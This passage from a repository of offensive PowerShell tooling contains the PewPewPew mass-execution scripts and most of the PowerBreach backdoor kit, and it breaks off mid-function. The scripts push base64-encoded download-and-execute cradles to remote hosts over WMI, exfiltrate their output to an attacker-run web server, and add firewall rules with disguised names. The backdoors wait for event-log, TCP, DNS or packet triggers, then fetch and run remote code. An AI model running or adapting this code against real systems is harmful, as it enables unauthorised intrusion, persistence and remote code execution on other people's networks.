| '@ 407 | 408 | # webserver stub adapted from @obscuresec: 409 | # https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 410 | $Hso = New-Object Net.HttpListener 411 | $Hso.Prefixes.Add("http://+:$LocalPort/") 412 | $Hso.Start() 413 | 414 | while ($Hso.IsListening) { 415 | $HC = $Hso.GetContext() 416 | $OriginatingIP = $HC.Request.UserHostAddress 417 | $HRes = $HC.Response 418 | $HRes.Headers.Add("Content-Type","text/plain") 419 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 420 | 421 | # process any GET requests 422 | if( $HC.Request.RawUrl -eq "/update"){ 423 | $Buf = [Text.Encoding]::UTF8.GetBytes($HostedScript) 424 | } 425 | elseif( $HC.Request.RawUrl -eq "/"){ 426 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 427 | } 428 | # process any POST results from the invoked script 429 | else { 430 | # extract the hostname from the URI request 431 | $hostname = $HC.Request.RawUrl.split("/")[-1] 432 | 433 | $output = "" 434 | $size = $HC.Request.ContentLength64 + 1 435 | 436 | $buffer = New-Object byte[] $size 437 | do { 438 | $count = $HC.Request.InputStream.Read($buffer, 0, $size) 439 | $output += $HC.Request.ContentEncoding.GetString($buffer, 0, $count) 440 | } until($count -lt $size) 441 | $HC.Request.InputStream.Close() 442 | 443 | if (($output) -and ($output.Length -ne 0)){ 444 | $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($output)) 445 | 446 | $OutFile = $OutputFolder + "\$($hostname).csv" 447 | 448 | $decoded | Out-File -Append -Encoding ASCII -FilePath $OutFile 449 | } 450 | } 451 | $HRes.ContentLength64 = $Buf.Length 452 | $HRes.OutputStream.Write($Buf,0,$Buf.Length) 453 | $HRes.Close() 454 | } 455 | } 456 | 457 | if($HostList){ 458 | if (Test-Path -Path $HostList){ 459 | $Hosts += Get-Content -Path $HostList 460 | } 461 | else { 462 | Write-Warning "[!] Input file '$HostList' doesn't exist!" 463 | } 464 | } 465 | 466 | # if the output file isn't a full path, append the current location to it 467 | if(-not ($OutputFolder.Contains("\"))){ 468 | $OutputFolder = (Get-Location).Path + "\" + $OutputFolder 469 | } 470 | 471 | # create the output folder if it doesn't exist 472 | New-Item -Force -ItemType directory -Path $OutputFolder | Out-Null 473 | 474 | # add a temporary firewall rule if specified 475 | if($FireWallRule){ 476 | Write-Verbose "Setting inbound firewall rule for port $LocalPort" 477 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 478 | $rule = New-Object -ComObject HNetCfg.FWRule 479 | $rule.Name = "Updater32" 480 | $rule.Protocol = 6 481 | $rule.LocalPorts = $LocalPort 482 | $rule.Direction = 1 483 | $rule.Enabled=$true 484 | $rule.Grouping="@firewallapi.dll,-23255" 485 | $rule.Profiles = 7 486 | $rule.Action=1 487 | $rule.EdgeTraversal=$false 488 | $fw.Rules.Add($rule) 489 | } 490 | 491 | Start-Job -Name WebServer -Scriptblock $WebserverScriptblock -ArgumentList $Terms,$LocalPort,$OutputFolder | Out-Null 492 | Write-Verbose "Sleeping, letting the web server stand up..." 493 | Start-Sleep -s 5 494 | } 495 | 496 | process { 497 | 498 | if(-not $LocalIpAddress){ 499 | $p = (gwmi Win32_NetworkAdapterConfiguration| Where{$_.IPAddress} | Select -Expand IPAddress); 500 | # check if the IP is a string or the [IPv4,IPv6] array 501 | $LocalIpAddress = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; 502 | } 503 | 504 | $hosts | % { 505 | $command = "IEX (New-Object Net.Webclient).DownloadString('http://"+$LocalIpAddress+":$LocalPort/update') | ConvertTo-Csv -NoTypeInformation | % {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$_))} | % {(new-object net.webclient).UploadString('http://"+$LocalIpAddress+":$LocalPort/$_', `$_)}" 506 | $bytes = [Text.Encoding]::Unicode.GetBytes($command) 507 | $encodedCommand = [Convert]::ToBase64String($bytes) 508 | 509 | if($Password){ 510 | $secpass = ConvertTo-SecureString $Password -AsPlainText -Force 511 | $creds = New-Object System.Management.Automation.PSCredential ($Username, $secpass) 512 | Write-Verbose "Executing command on host $_ with credentials for $Username" 513 | Invoke-WmiMethod -Credential $creds -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 514 | } 515 | else{ 516 | Write-Verbose "Executing command on host $_" 517 | Invoke-WmiMethod -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 518 | } 519 | } 520 | } 521 | 522 | end { 523 | 524 | Write-Verbose "Waiting $ServerSleep seconds for commands to trigger..." 525 | Start-Sleep -s $ServerSleep 526 | 527 | # remove the firewall rule if specified 528 | if($FireWallRule){ 529 | Write-Verbose "Removing inbound firewall rule" 530 | $fw.rules.Remove("Updater32") 531 | } 532 | 533 | Write-Verbose "Killing the web server" 534 | Get-Job -Name WebServer | Stop-Job 535 | } 536 | } 537 | -------------------------------------------------------------------------------- /PewPewPew/Invoke-MassTemplate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Template to mass-run a specific powershell script 3 | across multiple machines using a local web server 4 | and WMI execution. 5 | 6 | Replace "" with the script you 7 | want run. 8 | 9 | by @harmj0y 10 | #> 11 | 12 | 13 | function Invoke-MassTemplate { 14 | <# 15 | .SYNOPSIS 16 | ... 17 | 18 | .PARAMETER Hosts 19 | Array of host names to run Invoke-X on. 20 | 21 | .PARAMETER HostList 22 | List of host names to run Invoke-X on. 23 | 24 | .PARAMETER LocalIpAddress 25 | Local IP address to use. Will try to determine if not specified. 26 | 27 | .PARAMETER LocalPort 28 | Local port to host the script on, defaults to 8080 29 | 30 | .PARAMETER ServerSleep 31 | Time to sleep the web server for output before shutting it down. 32 | Default to 30 seconds. 33 | 34 | .PARAMETER OutputFolder 35 | Folder to pipe host outputs to. 36 | 37 | .PARAMETER FireWallRule 38 | Add (and then remove) a firewall rule to allow access to the 39 | specified port. 40 | #> 41 | [cmdletbinding()] 42 | param( 43 | [Parameter(Position=0,ValueFromPipeline=$true)] 44 | [String[]] 45 | $Hosts, 46 | 47 | [String] 48 | $HostList, 49 | 50 | [String] 51 | $LocalIpAddress, 52 | 53 | [String] 54 | $LocalPort="8080", 55 | 56 | [Int] 57 | $ServerSleep=30, 58 | 59 | [String] 60 | $OutputFolder="output", 61 | 62 | [Switch] 63 | $FireWallRule 64 | ) 65 | 66 | 67 | begin { 68 | 69 | # script block to invoke over remote machines. 70 | $WebserverScriptblock={ 71 | param($LocalPort, $OutputFolder) 72 | 73 | $HostedScript = 74 | @' 75 | 76 | 77 | 78 | '@ 79 | 80 | # webserver stub adapted from @obscuresec: 81 | # https://gist.github.com/obscuresec/71df69d828e6e05986e9#file-dirtywebserver-ps1 82 | $Hso = New-Object Net.HttpListener 83 | $Hso.Prefixes.Add("http://+:$LocalPort/") 84 | $Hso.Start() 85 | 86 | while ($Hso.IsListening) { 87 | $HC = $Hso.GetContext() 88 | $OriginatingIP = $HC.Request.UserHostAddress 89 | $HRes = $HC.Response 90 | $HRes.Headers.Add("Content-Type","text/plain") 91 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 92 | 93 | # process any GET requests 94 | if( $HC.Request.RawUrl -eq "/update"){ 95 | $Buf = [Text.Encoding]::UTF8.GetBytes($HostedScript) 96 | } 97 | elseif( $HC.Request.RawUrl -eq "/"){ 98 | $Buf = [Text.Encoding]::UTF8.GetBytes("") 99 | } 100 | # process any POST results from the invoked script 101 | else { 102 | # extract the hostname from the URI request 103 | $hostname = $HC.Request.RawUrl.split("/")[-1] 104 | 105 | $output = "" 106 | $size = $HC.Request.ContentLength64 + 1 107 | 108 | $buffer = New-Object byte[] $size 109 | do { 110 | $count = $HC.Request.InputStream.Read($buffer, 0, $size) 111 | $output += $HC.Request.ContentEncoding.GetString($buffer, 0, $count) 112 | } until($count -lt $size) 113 | $HC.Request.InputStream.Close() 114 | 115 | if (($output) -and ($output.Length -ne 0)){ 116 | $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($output)) 117 | 118 | $OutFile = $OutputFolder + "\$($hostname).txt" 119 | 120 | $decoded | Out-File -Append -Encoding ASCII -FilePath $OutFile 121 | } 122 | } 123 | $HRes.ContentLength64 = $Buf.Length 124 | $HRes.OutputStream.Write($Buf,0,$Buf.Length) 125 | $HRes.Close() 126 | } 127 | } 128 | 129 | if($HostList){ 130 | if (Test-Path -Path $HostList){ 131 | $Hosts += Get-Content -Path $HostList 132 | } 133 | else { 134 | Write-Warning "[!] Input file '$HostList' doesn't exist!" 135 | } 136 | } 137 | 138 | # if the output file isn't a full path, append the current location to it 139 | if(-not ($OutputFolder.Contains("\"))){ 140 | $OutputFolder = (Get-Location).Path + "\" + $OutputFolder 141 | } 142 | 143 | # create the output folder if it doesn't exist 144 | New-Item -Force -ItemType directory -Path $OutputFolder | Out-Null 145 | 146 | # add a temporary firewall rule if specified 147 | if($FireWallRule){ 148 | Write-Verbose "Setting inbound firewall rule for port $LocalPort" 149 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 150 | $rule = New-Object -ComObject HNetCfg.FWRule 151 | $rule.Name = "Updater32" 152 | $rule.Protocol = 6 153 | $rule.LocalPorts = $LocalPort 154 | $rule.Direction = 1 155 | $rule.Enabled=$true 156 | $rule.Grouping="@firewallapi.dll,-23255" 157 | $rule.Profiles = 7 158 | $rule.Action=1 159 | $rule.EdgeTraversal=$false 160 | $fw.Rules.Add($rule) 161 | } 162 | 163 | Start-Job -Name WebServer -Scriptblock $WebserverScriptblock -ArgumentList $LocalPort,$OutputFolder | Out-Null 164 | Write-Verbose "Sleeping, letting the web server stand up..." 165 | Start-Sleep -s 5 166 | } 167 | 168 | process { 169 | 170 | if(-not $LocalIpAddress){ 171 | $p = (gwmi Win32_NetworkAdapterConfiguration| Where{$_.IPAddress} | Select -Expand IPAddress); 172 | # check if the IP is a string or the [IPv4,IPv6] array 173 | $LocalIpAddress = @{$true=$p[0];$false=$p}[$p.Length -lt 6]; 174 | } 175 | 176 | $hosts | % { 177 | # the download/check back in command 178 | $command = "IEX (New-Object Net.Webclient).DownloadString('http://"+$LocalIpAddress+":$LocalPort/update') | % {[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes(`$_))} | % {(new-object net.webclient).UploadString('http://"+$LocalIpAddress+":$LocalPort/$_', `$_)}" 179 | $bytes = [Text.Encoding]::Unicode.GetBytes($command) 180 | $encodedCommand = [Convert]::ToBase64String($bytes) 181 | 182 | Write-Verbose "Executing command on host `"$_`"" 183 | Invoke-WmiMethod -ComputerName $_ -Path Win32_process -Name create -ArgumentList "powershell.exe -enc $encodedCommand" | out-null 184 | } 185 | } 186 | 187 | end { 188 | 189 | Write-Verbose "Waiting $ServerSleep seconds for commands to trigger..." 190 | Start-Sleep -s $ServerSleep 191 | 192 | # perform any post-processing on the output files... 193 | Get-ChildItem $OutputFolder -Filter *.txt | 194 | foreach-object { 195 | $server = $_.Name.split(".")[0] 196 | $rawtext = [Io.File]::ReadAllText($_.FullName) 197 | # ... 198 | } 199 | 200 | # remove the firewall rule if specified 201 | if($FireWallRule){ 202 | Write-Verbose "Removing inbound firewall rule" 203 | $fw.rules.Remove("Updater32") 204 | } 205 | 206 | Write-Verbose "Killing the web server" 207 | Get-Job -Name WebServer | Stop-Job 208 | } 209 | } 210 | -------------------------------------------------------------------------------- /PewPewPew/README.md: -------------------------------------------------------------------------------- 1 | #PewPewPew 2 | 3 | This repo contains scripts that utilize a common pattern to host a script 4 | on a PowerShell webserver, invoke the IEX download cradle to 5 | download/execute the target code and post the results back to the server, 6 | and then post-process any results. 7 | 8 | More details [here](http://www.harmj0y.net/blog/powershell/dumping-a-domains-worth-of-passwords-with-mimikatz-pt-2/) 9 | 10 | Developed by [@harmj0y](https://twitter.com/harmj0y) 11 | 12 | Part of Veil's [PowerTools](https://github.com/Veil-Framework/PowerTools) 13 | -------------------------------------------------------------------------------- /PowerBreach/PowerBreach.ps1: -------------------------------------------------------------------------------- 1 | ################################################################################### 2 | # Name: PowerBreach 3 | # Author: @sixdub (sixdub.net) 4 | # Tested on: Windows 7 5 | # Description: PowerBreach is a backdoor kit to provide a large variety of non 6 | # persistent backdoors to remain resident on systems. PowerBreach is 7 | # apart of the Veil PowerTools collection and can be combined with 8 | # other PowerTools. 9 | # License: 3 Clause BSD License (see README.md) 10 | ################################################################################### 11 | 12 | function Invoke-CallbackIEX 13 | { 14 | <# 15 | .SYNOPSIS 16 | HELPER FUNCTION. Used to callback to C2 and execute script 17 | .DESCRIPTION 18 | Used to initiate a callback to a defined node and request a resource. The resource is then decoded and executed as a powershell script. There are many methods for callbacks. 19 | Admin Reqd? No 20 | Firewall Hole Reqd? No 21 | .PARAMETER CallbackURI 22 | The URI Address of the host to callback to. 23 | The accepted protocols are: HTTP, HTTPS, BITS 24 | .PARAMETER BitsTempFile 25 | The path to place a file on disk temporarily when BITS is the chosen method. Default is "%USERTEMP%\ps_conf.cfg". 26 | #> 27 | Param( 28 | [Parameter(Mandatory=$True,Position=1)] 29 | [string]$CallbackURI 30 | ) 31 | 32 | #if you have a place to call home too... 33 | if($CallbackURI) 34 | { 35 | try 36 | { 37 | 38 | #Parse some information from URI just in case we need it 39 | $parts = $CallbackURI -Split '://' 40 | $protocol=$parts[0].ToLower() 41 | $server=(($parts[1] -split "/")[0] -split ":")[0] 42 | $port=(($parts[1] -split "/")[0] -split ":")[1] 43 | 44 | Write-Verbose "URI: $CallbackURI" 45 | Write-Verbose "Protocol: $protocol" 46 | Write-Verbose "Server: $server" 47 | Write-Verbose "Port: $port" 48 | 49 | #HTTP Method 50 | if ($protocol -eq "http") 51 | { 52 | #Set the url 53 | Write-Verbose "Calling home with http to: $CallbackURI" 54 | #download string from the URL 55 | $enc = (New-Object net.webclient).downloadstring($CallbackURI) 56 | } 57 | #HTTPS Method 58 | elseif ($protocol -eq "https") 59 | { 60 | [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} 61 | Write-Verbose "Calling home with https to: $CallbackURI" 62 | #download string from the URL with HTTPS 63 | $enc = (New-Object net.webclient).downloadstring($CallbackURI) 64 | } 65 | #SINGLE LINE DNS TXT RECORD 66 | elseif ($protocol -eq "dnstxt") 67 | { 68 | Write-Verbose "Calling home with dnstxt to: $server" 69 | $enc = (nslookup -querytype=txt $server | Select-String -Pattern '"*"') -split '"'[0] 70 | } 71 | else 72 | { 73 | Write-Error "Error: Improper protocol?" 74 | return $False 75 | } 76 | 77 | #Check to make sure something got downloaded, if so, decode it and 78 | if ($enc) 79 | { 80 | #decode the string 81 | $b = [System.Convert]::FromBase64String($enc) 82 | $dec = [System.Text.Encoding]::UTF8.GetString($b) 83 | #execute script 84 | iex($dec) 85 | } 86 | else 87 | { 88 | Write-Error "Error: No Data Downloaded" 89 | return $False 90 | } 91 | } 92 | catch [System.Net.WebException]{ 93 | Write-Error "Error: Network Callback failed" 94 | return $False 95 | } 96 | catch [System.FormatException]{ 97 | Write-Error "Error: Base64 Format Problem" 98 | return $False 99 | } 100 | catch [System.Exception]{ 101 | Write-Error "Error: Uknown problem during transfer" 102 | #$_.Exception | gm 103 | return $False 104 | } 105 | } 106 | else 107 | { 108 | Write-Error "No host specified for the phone home :(" 109 | return $False 110 | } 111 | 112 | return $True 113 | } 114 | 115 | function Add-PSFirewallRules 116 | { 117 | <# 118 | .SYNOPSIS 119 | Used to open a hole in the firewall to allow Powershell to communicate 120 | .DESCRIPTION 121 | Opens 4 rules in the firewall, 2 for each direction. Allows TCP and UDP communications on ports 1-65000. This will hopefully prevent popups from displaying to interactive user. 122 | Admin Reqd? Yes 123 | Firewall Hole Reqd? No 124 | .PARAMETER RuleName 125 | The name of the rule to be added to the firewall. This should be stealthy. Default="Windows Powershell" 126 | .PARAMETER ExePath 127 | The program to allow through the filewall. Default="C:\windows\system32\windowspowershell\v1.0\powershell.exe" 128 | .PARAMETER Ports 129 | The ports to allow communications on. Default="1-65000" 130 | #> 131 | Param( 132 | [Parameter(Mandatory=$False,Position=1)] 133 | [string]$RuleName="Windows Powershell", 134 | [Parameter(Mandatory=$False,Position=2)] 135 | [string]$ExePath="$PSHome\powershell.exe", 136 | [Parameter(Mandatory=$False,Position=3)] 137 | [string]$Ports="1-65000" 138 | ) 139 | 140 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 141 | { 142 | Write-Error "This command requires Admin :(... get to work! " 143 | Return 0 144 | } 145 | 146 | #Rule 1, TCP, Outbound 147 | $fw = New-Object -ComObject hnetcfg.fwpolicy2 148 | $rule = New-Object -ComObject HNetCfg.FWRule 149 | $rule.Name = $RuleName 150 | $rule.ApplicationName=$ExePath 151 | $rule.Protocol = 6 152 | $rule.LocalPorts = $Ports 153 | $rule.Direction = 2 154 | $rule.Enabled=$True 155 | $rule.Grouping="@firewallapi.dll,-23255" 156 | $rule.Profiles = 7 157 | $rule.Action=1 158 | $rule.EdgeTraversal=$False 159 | $fw.Rules.Add($rule) 160 | 161 | #Rule 2, UDP Outbound 162 | $rule = New-Object -ComObject HNetCfg.FWRule 163 | $rule.Name = $RuleName 164 | $rule.ApplicationName=$ExePath 165 | $rule.Protocol = 17 166 | $rule.LocalPorts = $Ports 167 | $rule.Direction = 2 168 | $rule.Enabled=$True 169 | $rule.Grouping="@firewallapi.dll,-23255" 170 | $rule.Profiles = 7 171 | $rule.Action=1 172 | $rule.EdgeTraversal=$False 173 | $fw.Rules.Add($rule) 174 | 175 | #Rule 3, TCP Inbound 176 | $rule = New-Object -ComObject HNetCfg.FWRule 177 | $rule.Name = $RuleName 178 | $rule.ApplicationName=$ExePath 179 | $rule.Protocol = 6 180 | $rule.LocalPorts = $Ports 181 | $rule.Direction = 1 182 | $rule.Enabled=$True 183 | $rule.Grouping="@firewallapi.dll,-23255" 184 | $rule.Profiles = 7 185 | $rule.Action=1 186 | $rule.EdgeTraversal=$False 187 | $fw.Rules.Add($rule) 188 | 189 | #Rule 4, UDP Inbound 190 | $rule = New-Object -ComObject HNetCfg.FWRule 191 | $rule.Name = $RuleName 192 | $rule.ApplicationName=$ExePath 193 | $rule.Protocol = 17 194 | $rule.LocalPorts = $Ports 195 | $rule.Direction = 1 196 | $rule.Enabled=$True 197 | $rule.Grouping="@firewallapi.dll,-23255" 198 | $rule.Profiles = 7 199 | $rule.Action=1 200 | $rule.EdgeTraversal=$False 201 | $fw.Rules.Add($rule) 202 | 203 | return 1 204 | 205 | } 206 | 207 | function Invoke-EventLogBackdoor 208 | { 209 | <# 210 | .SYNOPSIS 211 | Starts the event-loop backdoor 212 | .DESCRIPTION 213 | The backdoor continually parses the Security event logs. For every entry, it checks to see if the message contains a unique trigger value. If it finds the trigger, it calls back to a predefined IP Address. This backdoor is based on the Shmoocon presentation "Wipe the Drive". See here for more info: XXXXXXXXX 214 | Admin Reqd? Yes 215 | Firewall Hole Reqd? No 216 | .PARAMETER CallbackURI 217 | The URI of the host to callback to 218 | .PARAMETER Trigger 219 | The unique value to look for in every event packet. In the case of RDP, this will be the username you use to attempt a login. Default="HACKER" 220 | .PARAMETER Timeout 221 | A value in seconds to continue running the backdoor. Default=0 (run forever) 222 | .PARAMETER Sleep 223 | The time to sleep in between event log checks. 224 | #> 225 | Param( 226 | [Parameter(Mandatory=$True,Position=1)] 227 | [string]$CallbackURI, 228 | [Parameter(Mandatory=$False,Position=2)] 229 | [string]$Trigger="HACKER", 230 | [Parameter(Mandatory=$False,Position=3)] 231 | [int]$Timeout=0, 232 | [Parameter(Mandatory=$False,Position=4)] 233 | [int]$Sleep=30 234 | ) 235 | 236 | If (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 237 | { 238 | Write-Error "This backdoor requires Admin :(... get to work! " 239 | Return 240 | } 241 | #Output info 242 | Write-Verbose "Timeout: $Timeout" 243 | Write-Verbose "Trigger: $Trigger" 244 | Write-Verbose "CallbackURI: $CallbackURI" 245 | Write-Verbose "Starting backdoor..." 246 | 247 | #initiate loop variables 248 | $running=$True 249 | $match ="" 250 | $starttime = Get-Date 251 | while($running) 252 | { 253 | #check timeout value 254 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 255 | { 256 | $running=$False 257 | } 258 | #grab all events since the last cycle and store their "message" into a variable 259 | $d = Get-Date 260 | $NewEvents = Get-WinEvent -FilterHashtable @{logname='Security'; StartTime=$d.AddSeconds(-$Sleep)} -ErrorAction SilentlyContinue | fl Message | Out-String 261 | 262 | #check if the events contain our trigger value 263 | if ($NewEvents -match $Trigger) 264 | { 265 | $running=$False 266 | $match = $CallbackURI 267 | Write-Verbose "Match: $match" 268 | } 269 | while($match) 270 | { 271 | $success = Invoke-CallbackIEX $match 272 | if ($success) 273 | { 274 | return 275 | } 276 | Start-Sleep -s $sleep 277 | } 278 | 279 | Start-Sleep -s $Sleep 280 | } 281 | 282 | } 283 | 284 | function Invoke-PortBindBackdoor 285 | { 286 | <# 287 | .SYNOPSIS 288 | Starts the TCP Port Bind backdoor 289 | .DESCRIPTION 290 | The backdoor opens a TCP port on a specified port. For every connection to the port, it looks for a specified trigger value. When found, it initiates a callback and closes the TCP Port. 291 | Admin Reqd? No 292 | Firewall Hole Reqd? Yes 293 | .PARAMETER CallbackURI 294 | The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it. 295 | .PARAMETER LocalIP 296 | The interface to bind the TCP port to. By default, the script will use the default GW to determine this value. 297 | .PARAMETER Port 298 | The port to bind. Default=4444 299 | .PARAMETER Trigger 300 | The unique value the backdoor is waiting for. Default="QAZWSX123" 301 | .PARAMETER Timeout 302 | The time to run the backdoor. Default=0 (run forever) 303 | .PARAMETER Sleep 304 | The time to sleep in between event log checks. 305 | .PARAMETER AddFWRules 306 | Whether or not to add the firewall rules automatically. 307 | #> 308 | Param( 309 | [Parameter(Mandatory=$False,Position=1)] 310 | [string]$CallbackURI, 311 | [Parameter(Mandatory=$False,Position=2)] 312 | [string]$LocalIP, 313 | [Parameter(Mandatory=$False,Position=3)] 314 | [int]$Port=4444, 315 | [Parameter(Mandatory=$False,Position=4)] 316 | [string]$Trigger="QAZWSX123", 317 | [Parameter(Mandatory=$False,Position=5)] 318 | [int]$Timeout=0, 319 | [Parameter(Mandatory=$False,Position=6)] 320 | [int] $Sleep=30, 321 | [Parameter(Mandatory=$False,Position=7)] 322 | [switch] $AddFWRules=$False 323 | ) 324 | 325 | if ($AddFWRules) 326 | { 327 | Write-Verbose "Adding FW Exception" 328 | $FWSuccess = Add-PSFirewallRules 329 | if($FWSuccess) 330 | { 331 | Write-Verbose "FW Exception Added" 332 | } 333 | else 334 | { 335 | Write-Verbose "FW Exception Failed... Quitting" 336 | Return 0 337 | } 338 | } 339 | else 340 | { 341 | Write-Verbose "!!! THIS BACKDOOR REQUIRES FIREWALL EXCEPTION !!!" 342 | } 343 | 344 | # try to figure out which IP address to bind to by looking at the default route 345 | if (-not $LocalIP) 346 | { 347 | route print 0* | % { 348 | if ($_ -match "\s{2,}0\.0\.0\.0") { 349 | $null,$null,$null,$LocalIP,$null = [regex]::replace($_.trimstart(" "),"\s{2,}",",").split(",") 350 | } 351 | } 352 | } 353 | 354 | #output info 355 | Write-Verbose "Timeout: $Timeout" 356 | Write-Verbose "Port: $Port" 357 | Write-Verbose "Trigger: $Trigger" 358 | Write-Verbose "Using IPv4 Address: $LocalIP" 359 | Write-Verbose "CallbackURI: $CallbackURI" 360 | Write-Verbose "Starting backdoor..." 361 | try{ 362 | 363 | #Define and initialize all the networking stuff 364 | $ipendpoint = New-Object system.net.ipendpoint([net.ipaddress]"$localIP",$Port) 365 | $Listener = New-Object System.Net.Sockets.TcpListener $ipendpoint 366 | $Listener.Start() 367 | 368 | #set variables for the loop 369 | $running=$True 370 | $match ="" 371 | $starttime = Get-Date 372 | while($running) 373 | { 374 | #Check for timeout 375 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 376 | { 377 | $running=$False 378 | } 379 | 380 | #If there is a connection pending on the socket 381 | if($Listener.Pending()) 382 | { 383 | #accept the client and define the input stream 384 | $Client = $Listener.AcceptTcpClient() 385 | Write-Verbose "Client Connected!" 386 | $Stream = $Client.GetStream() 387 | $Reader = New-Object System.IO.StreamReader $Stream 388 | 389 | #read one line off the socket 390 | $line = $Reader.ReadLine() 391 | 392 | #check to see if proper trigger value 393 | if ($line -eq $Trigger) 394 | { 395 | $running=$False 396 | $match = ([system.net.ipendpoint] $Client.Client.RemoteEndPoint).Address.ToString() 397 | Write-Verbose "MATCH: $match" 398 | } 399 | 400 | #clean up 401 | $reader.Dispose() 402 | $stream.Dispose() 403 | $Client.Close() 404 | Write-Verbose "Client Disconnected" 405 | } 406 | if($match) 407 | { 408 | #Stop the socket and check for match 409 | Write-Verbose "Stopping Socket" 410 | $Listener.Stop() 411 | } 412 | while($match) 413 | { 414 | if($CallbackURI) 415 | { 416 | $success = Invoke-CallbackIEX $CallbackURI 417 | } 418 | else 419 | { 420 | $success = Invoke-CallbackIEX "http://$Match" 421 | } 422 | 423 | if ($success) 424 | { 425 | return 1 426 | } 427 | Start-Sleep -s $sleep 428 | } 429 | } 430 | 431 | } 432 | catch [System.Net.Sockets.SocketException] { 433 | Write-Error "Error: Socket Error" 434 | } 435 | } 436 | 437 | function Invoke-ResolverBackdoor 438 | { 439 | <# 440 | .SYNOPSIS 441 | Starts the Resolver Backdoor 442 | .DESCRIPTION 443 | This backdoor resolves a predefined hostname at a preset interval. If the resolved address is different than the specified trigger, than it initiates a callback. 444 | Admin Reqd? No 445 | Firewall Hole Reqd? No 446 | .PARAMETER CallbackURI 447 | The IP Address of the host to callback to. By default, this backdoor calls back to the newly resolved IP Address. 448 | .PARAMETER Hostname 449 | The hostname to routinely check for a trigger 450 | .PARAMETER Trigger 451 | The IP Address that the backdoor is looking for. Default="127.0.0.1" 452 | .PARAMETER Timeout 453 | The time to run the backdoor (in seconds). Default=0 (run forever) 454 | .PARAMETER Sleep 455 | The seconds to sleep between DNS resolution (in seconds). Default=30 456 | #> 457 | param( 458 | [Parameter(Mandatory=$False,Position=1)] 459 | [string]$CallbackURI, 460 | [Parameter(Mandatory=$False,Position=2)] 461 | [string]$Hostname, 462 | [Parameter(Mandatory=$False,Position=3)] 463 | [string]$Trigger="127.0.0.1", 464 | [Parameter(Mandatory=$False,Position=4)] 465 | [int] $Timeout=0, 466 | [Parameter(Mandatory=$False,Position=5)] 467 | [int] $Sleep=30 468 | ) 469 | 470 | #output info 471 | Write-Verbose "Timeout: $Timeout" 472 | Write-Verbose "Sleep Time: $Sleep" 473 | Write-Verbose "Trigger: $Trigger" 474 | Write-Verbose "Using Hostname: $Hostname" 475 | Write-Verbose "CallbackURI: $CallbackURI" 476 | Write-Verbose "Starting backdoor..." 477 | 478 | #set loop variables 479 | $running=$True 480 | $match ="" 481 | $starttime = Get-Date 482 | while($running) 483 | { 484 | #check timeout 485 | if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) # if user-specified timeout has expired 486 | { 487 | $running=$False 488 | } 489 | 490 | try { 491 | #try to resolve hostname 492 | $ips = [System.Net.Dns]::GetHostAddresses($Hostname) 493 | foreach ($addr in $ips) 494 | { 495 | #take all of the IPs returned and check to see if they have changed from our "trigger 496 | #If they do not match the trigger, use it for C2 address 497 | $resolved=$addr.IPAddressToString 498 | if($resolved -ne $Trigger) 499 | { 500 | $running=$False 501 | $match=$resolved 502 | Write-Verbose "Match: $match" 503 | } 504 | 505 | } 506 | } 507 | catch [System.Net.Sockets.SocketException]{ 508 | 509 | } 510 | while($match) 511 | { 512 | if($CallbackURI) 513 | { 514 | $success = Invoke-CallbackIEX $CallbackURI 515 | } 516 | else 517 | { 518 | $success = Invoke-CallbackIEX "http://$Match" 519 | } 520 | if ($success) 521 | { 522 | return 523 | } 524 | Start-Sleep -s $sleep 525 | 526 | } 527 | Start-Sleep -s $Sleep 528 | } 529 | 530 | } 531 | 532 | function Invoke-PortKnockBackdoor 533 | { 534 | <# 535 | .SYNOPSIS 536 | Starts the Packet Knock backdoor 537 | .DESCRIPTION 538 | The backdoor sniffs packets destined for a certain interface. In each packet, a trigger value is looked for. The the trigger value is found, the backdoor initiates a callback. This backdoor utilizes a promiscuous socket and should not open up a port on the system. 539 | Admin Reqd? Yes 540 | Firewall Hole Reqd? Yes 541 | .PARAMETER CallbackURI 542 | The IP Address of the host to callback to. By default, this backdoor calls back to whoever triggered it. 543 | .PARAMETER LocalIP 544 | The interface to bind the TCP port to. By default, the script will use the default GW to determine this value. 545 | .PARAMETER Trigger 546 | The unique value the backdoor is waiting for. Default="QAZWSX123" 547 | .PARAMETER Timeout 548 | The time to run the backdoor. Default=0 (run forever) 549 | .PARAMETER Sleep 550 | The time to sleep in between event log checks. 551 | .PARAMETER AddFWRules 552 | Whether or not to add the firewall rules automatically. 553 | #> 554 | param( 555 | [Parameter(Mandatory=$False,Position=1)] 556 | [string]$CallbackURI, 557 | [Parameter(Mandatory=$False,Position=2)] 558 | [string]$LocalIP, 559 | [Parameter(Mandatory=$False,Position=3)] 560 | [string]$Trigger="QAZWSX123", 561 | [Parameter(Mandatory=$False,Position=4)] 562 | [int]$Timeout=0, 563 | [Parameter(Mandatory=$False,Position=5)] 564 | [int] $Sleep=30, 565 | [Parameter(Mandatory=$False,Position=6)] 566 | [switch] $AddFWRules=$False 567 | ) 568 | If (-NOT ([Security.Principal.WindowsPrincipal] 